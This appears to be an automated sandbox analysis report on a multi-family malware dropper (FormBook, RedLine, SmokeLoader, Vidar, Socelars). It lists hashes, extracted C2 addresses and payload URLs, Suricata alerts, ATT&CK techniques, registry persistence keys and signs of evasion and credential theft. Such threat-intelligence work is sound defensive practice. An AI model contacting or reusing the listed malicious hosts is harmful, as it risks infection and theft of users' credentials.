formbook | 62be0ca52ea9ebc4c577d597b919f6b90cebdcc2179d7d482a04bf5731eec720

Target

setup_x86_x64_install.exe
Size

4.5MB
MD5

3da25ccfa9c258e3ae26854391531c7b
SHA1

1ed5613b0ad8ab4c47f07e52199a4edd27be40e6
SHA256

62be0ca52ea9ebc4c577d597b919f6b90cebdcc2179d7d482a04bf5731eec720
SHA512

defed576df3d8325259884b485a0dc7cd673c47028e77f189255e27dca312a0befdc8dc84106cc3103a3027e67a835fad899f9361076a64831db144354a4618c

Score

10^/10

formbook redline smokeloader socelars vidar 933 srtupdate33 aspackv2 backdoor discovery evasion infostealer persistence spyware stealer suricata trojan

Malware Config

Extracted

Family

redline

Botnet

srtupdate33

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

http://brandyjaggers.com/upload/

http://andbal.com/upload/

http://alotofquotes.com/upload/

http://szpnc.cn/upload/

http://uggeboots.com/upload/

http://100klv.com/upload/

http://rapmusic.at/upload/

rc4.i32

Extracted

Family

vidar

Version

41.6

Botnet

933

https://mas.to/@lilocc

Attributes

profile_id
933

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies system executable filetype association 2 TTPs 3 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3252	3884	rundll32.exe	144
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5936	3884	rundll32.exe	144

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

resource	yara_rule
behavioral5/memory/4972-315-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral5/memory/4972-316-0x0000000000418D3E-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral5/files/0x000400000001abff-151.dat	family_socelars
behavioral5/files/0x000400000001abff-196.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5840 created 1984	5840	WerFault.exe	107
PID 612 created 2332	612	WerFault.exe	131

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata: ET MALWARE FormBook CnC Checkin (POST) M2
suricata
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral5/memory/1836-419-0x0000000004810000-0x00000000048E6000-memory.dmp	family_vidar
behavioral5/memory/1836-450-0x0000000000400000-0x0000000002BB8000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral5/files/0x000400000001abf2-126.dat	aspack_v212_v242
behavioral5/files/0x000400000001abf2-129.dat	aspack_v212_v242
behavioral5/files/0x000400000001abf1-128.dat	aspack_v212_v242
behavioral5/files/0x000400000001abf1-127.dat	aspack_v212_v242
behavioral5/files/0x000400000001abf4-131.dat	aspack_v212_v242
behavioral5/files/0x000400000001abf4-132.dat	aspack_v212_v242

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\_Z5DJXAXI = "C:\\Program Files (x86)\\Hsnulor\\updateppq.exe"	wlanext.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	wlanext.exe

Blocklisted process makes network request 26 IoCs

flow	pid	Process
78	1384	cmd.exe
79	1384	cmd.exe
81	1384	cmd.exe
82	1384	cmd.exe
87	1384	cmd.exe
89	1384	cmd.exe
103	1384	cmd.exe
108	1384	cmd.exe
109	1384	cmd.exe
118	1384	cmd.exe
126	1384	cmd.exe
161	1384	cmd.exe
164	1384	cmd.exe
170	1384	cmd.exe
172	1384	cmd.exe
180	1384	cmd.exe
182	1384	cmd.exe
189	1384	cmd.exe
191	1384	cmd.exe
192	1384	cmd.exe
318	1384	cmd.exe
319	6480	mshta.exe
328	1384	cmd.exe
367	1384	cmd.exe
368	1384	cmd.exe
370	1384	cmd.exe

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

pid	Process
424	setup_installer.exe
420	setup_install.exe
4116	Sun0324aba28588c0.exe
4252	Sun03ea09aa5c9686e5.exe
4204	Sun03f0dc4460bc9.exe
1384	Sun03e4aeb7e43a1c.exe
3468	Sun038aa349e3318e.exe
1984	Sun033e271e0ce96c08.exe
4416	Sun039750b00c.exe
2004	Sun038db98f99bf9a.exe
1180	Sun03d477f1a31.exe
4104	cmd.exe
3904	Sun0351a0558292.exe
5044	Sun0328255c4bce6fb.exe
316	Sun03f5d51697d04.exe
3288	Sun03f5d51697d04.tmp
1264	Sun0397381f1f458e.exe
1332	Sun03f5d51697d04.exe
3176	Sun03f5d51697d04.tmp
1744	LzmwAqmV.exe
3500	Chrome5.exe
3128	DownFlSetup110.exe
1152	inst1.exe
1836	Soft1WW01.exe
2564	4.exe
3968	5.exe
3592	search_hyperfs_206.exe
4972	Sun03f0dc4460bc9.exe
2332	setup.exe
2176	postback.exe
2472	chenxiulan-game.exe
64	Calculator Installation.exe
68	6.exe
1448	3069764135.exe
1008	LzmwAqmV.exe
3352	8767932.exe
2064	1444996.exe
1820	kPBhgOaGQk.exe
2432	4787631693.exe
5164	5906233.exe
5604	7573297.exe
5644	5505137.exe
5736	681845.exe
6076	WinHoster.exe
5356	Calculator.exe
5956	setup.exe
4872	yTy3pjskcaOH3SGW7DDHaAqG.exe
5576	Calculator.exe
5488	d3AMh7RrYP1XgER3nYdWgVrD.exe
2440	zYHzp_ecSfHCBQQQXejKOBf6.exe
5464	1ElQX1vnC6hzc6ozl4KylRRW.exe
3036	xcLVIwmxi_ZLJsepaVLcueHv.exe
2252	UzYxXqOkTtDpwSezwVXY7Exr.exe
760	UjJmg_DELP1NaVeOyjr4XbfL.exe
3044	lIJoDlCIBCCNb2IhrB3rTnjY.exe
2356	qk9UWVrVqY4tBN2oy63GGKMe.exe
2168	CMCX11vCmko9R4RXJMdgUVL4.exe
5264	jw1BtrPSHkN5Ycj5GrGZrWNp.exe
1364	uecNmHuKV5CntDpX5R5cAnad.exe
3708	ZDAes857uiA7Ldl_tt0f6Zy7.exe
1788	EN8kVF9nOEITndkmKROPnWJy.exe
5704	PtIpbjLSQP_eHgf86mvDiq5x.exe
4636	Calculator.exe
6012	dYLG3PpYw0yLWxJQRvws6jif.exe

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1444996.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	uecNmHuKV5CntDpX5R5cAnad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1444996.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tory.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ZDAes857uiA7Ldl_tt0f6Zy7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	EN8kVF9nOEITndkmKROPnWJy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dYLG3PpYw0yLWxJQRvws6jif.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dYLG3PpYw0yLWxJQRvws6jif.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ZDAes857uiA7Ldl_tt0f6Zy7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tory.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5906233.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	uecNmHuKV5CntDpX5R5cAnad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	EN8kVF9nOEITndkmKROPnWJy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5906233.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Sun038db98f99bf9a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Sun038aa349e3318e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Calculator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Calculator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation	Calculator.exe

Loads dropped DLL 64 IoCs

pid	Process
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
420	setup_install.exe
3288	Sun03f5d51697d04.tmp
3176	Sun03f5d51697d04.tmp
64	Calculator Installation.exe
64	Calculator Installation.exe
2844	rundll32.exe
4628	BnaQE7vssOIGKiIFtluJLNOT.exe
64	Calculator Installation.exe
64	Calculator Installation.exe
64	Calculator Installation.exe
1796	msiexec.exe
1796	msiexec.exe
4100	rundll32.exe
4100	rundll32.exe
5956	setup.exe
5956	setup.exe
5956	setup.exe
5956	setup.exe
5956	setup.exe
5576	Calculator.exe
5576	Calculator.exe
5576	Calculator.exe
4636	Calculator.exe
4080	Calculator.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
4080	Calculator.exe
4080	Calculator.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
5912	Calculator.exe
5912	Calculator.exe
5912	Calculator.exe
5912	Calculator.exe
2572	Calculator.exe
2572	Calculator.exe
2572	Calculator.exe
6128	Calculator.exe
6128	Calculator.exe
6128	Calculator.exe
6128	Calculator.exe
5720	hschgIT73zIyo43yY5y_5zDy.exe
5956	setup.exe
64	Calculator Installation.exe
6936	Calculator.exe
6936	Calculator.exe
6936	Calculator.exe
6936	Calculator.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
2148	Calculator.exe
2148	Calculator.exe
2148	Calculator.exe
3036	xcLVIwmxi_ZLJsepaVLcueHv.exe
3036	xcLVIwmxi_ZLJsepaVLcueHv.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe
7052	AcE5WunU9rbhvxIHGczo1xiA.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5505137.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75"	setup.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75"	setup.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 33 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	kPBhgOaGQk.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1ElQX1vnC6hzc6ozl4KylRRW.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lIJoDlCIBCCNb2IhrB3rTnjY.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tory.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	postback.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun03f5d51697d04.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	search_hyperfs_206.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LzmwAqmV.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5906233.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7573297.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BnaQE7vssOIGKiIFtluJLNOT.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1444996.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	uecNmHuKV5CntDpX5R5cAnad.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg1_1faf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	EN8kVF9nOEITndkmKROPnWJy.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	dYLG3PpYw0yLWxJQRvws6jif.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ZDAes857uiA7Ldl_tt0f6Zy7.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun039750b00c.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CMCX11vCmko9R4RXJMdgUVL4.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
497	ipinfo.io
498	ipinfo.io
82	freegeoip.app
103	freegeoip.app
149	ipinfo.io
150	ipinfo.io
151	ipinfo.io
436	ipinfo.io
437	ipinfo.io
27	ip-api.com
80	freegeoip.app
87	freegeoip.app

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\PowerControl HR	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{D150A421-63CD-46E4-ADDB-794A26A5C800}	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-941723256-3451054534-3089625102-1000	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\686AD3B12FDB68487AAEA92D0A823EB3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\686AD3B12FDB68487AAEA92D0A823EB3	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 95A137F76759A7BF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl LG	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
2064	1444996.exe
5164	5906233.exe
2168	CMCX11vCmko9R4RXJMdgUVL4.exe
6012	dYLG3PpYw0yLWxJQRvws6jif.exe
3708	ZDAes857uiA7Ldl_tt0f6Zy7.exe
4628	BnaQE7vssOIGKiIFtluJLNOT.exe
6472	CMCX11vCmko9R4RXJMdgUVL4.exe
6636	BnaQE7vssOIGKiIFtluJLNOT.exe

Suspicious use of SetThreadContext 12 IoCs

description	pid	Process	procid_target
PID 4204 set thread context of 4972	4204	Sun03f0dc4460bc9.exe	121
PID 5060 set thread context of 3376	5060	svchost.exe	154
PID 2252 set thread context of 2604	2252	UzYxXqOkTtDpwSezwVXY7Exr.exe	7
PID 1788 set thread context of 5740	1788	EN8kVF9nOEITndkmKROPnWJy.exe	235
PID 1364 set thread context of 5428	1364	uecNmHuKV5CntDpX5R5cAnad.exe	233
PID 2524 set thread context of 5344	2524	Nvh_1uHJ5edoJRrt0aUqMKjC.exe	244
PID 760 set thread context of 3344	760	UjJmg_DELP1NaVeOyjr4XbfL.exe	232
PID 5264 set thread context of 4392	5264	jw1BtrPSHkN5Ycj5GrGZrWNp.exe	258
PID 2440 set thread context of 6812	2440	zYHzp_ecSfHCBQQQXejKOBf6.exe	261
PID 5664 set thread context of 2604	5664	wlanext.exe	7
PID 5940 set thread context of 1988	5940	conhost.exe	338
PID 5664 set thread context of 1988	5664	wlanext.exe	338

Drops file in Program Files directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	1ElQX1vnC6hzc6ozl4KylRRW.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	1ElQX1vnC6hzc6ozl4KylRRW.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	1ElQX1vnC6hzc6ozl4KylRRW.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File opened for modification	C:\Program Files (x86)\Hsnulor\updateppq.exe	wlanext.exe
File opened for modification	C:\Program Files (x86)\Hsnulor	Explorer.EXE
File created	C:\Program Files (x86)\Hsnulor\updateppq.exe	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Backup	AdobeARM.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Sun03f5d51697d04.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Sun03f5d51697d04.tmp
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	jg1_1faf.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-2ATCP.tmp	Sun03f5d51697d04.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	1ElQX1vnC6hzc6ozl4KylRRW.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	d3AMh7RrYP1XgER3nYdWgVrD.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Temp	AdobeARM.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

pid	pid_target	Process	procid_target
3548	420	WerFault.exe	79
1492	1984	WerFault.exe	107
3820	1984	WerFault.exe	107
1388	1984	WerFault.exe	107
3012	1984	WerFault.exe	107
5328	1984	WerFault.exe	107
5472	2332	WerFault.exe	131
5504	68	WerFault.exe	138
5936	2332	WerFault.exe	131
5244	1984	WerFault.exe	107
5292	2332	WerFault.exe	131
5484	2332	WerFault.exe	131
5840	1984	WerFault.exe	107
612	2332	WerFault.exe	131

Checks SCSI registry key(s) 3 TTPs 21 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	extd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	frbwjda
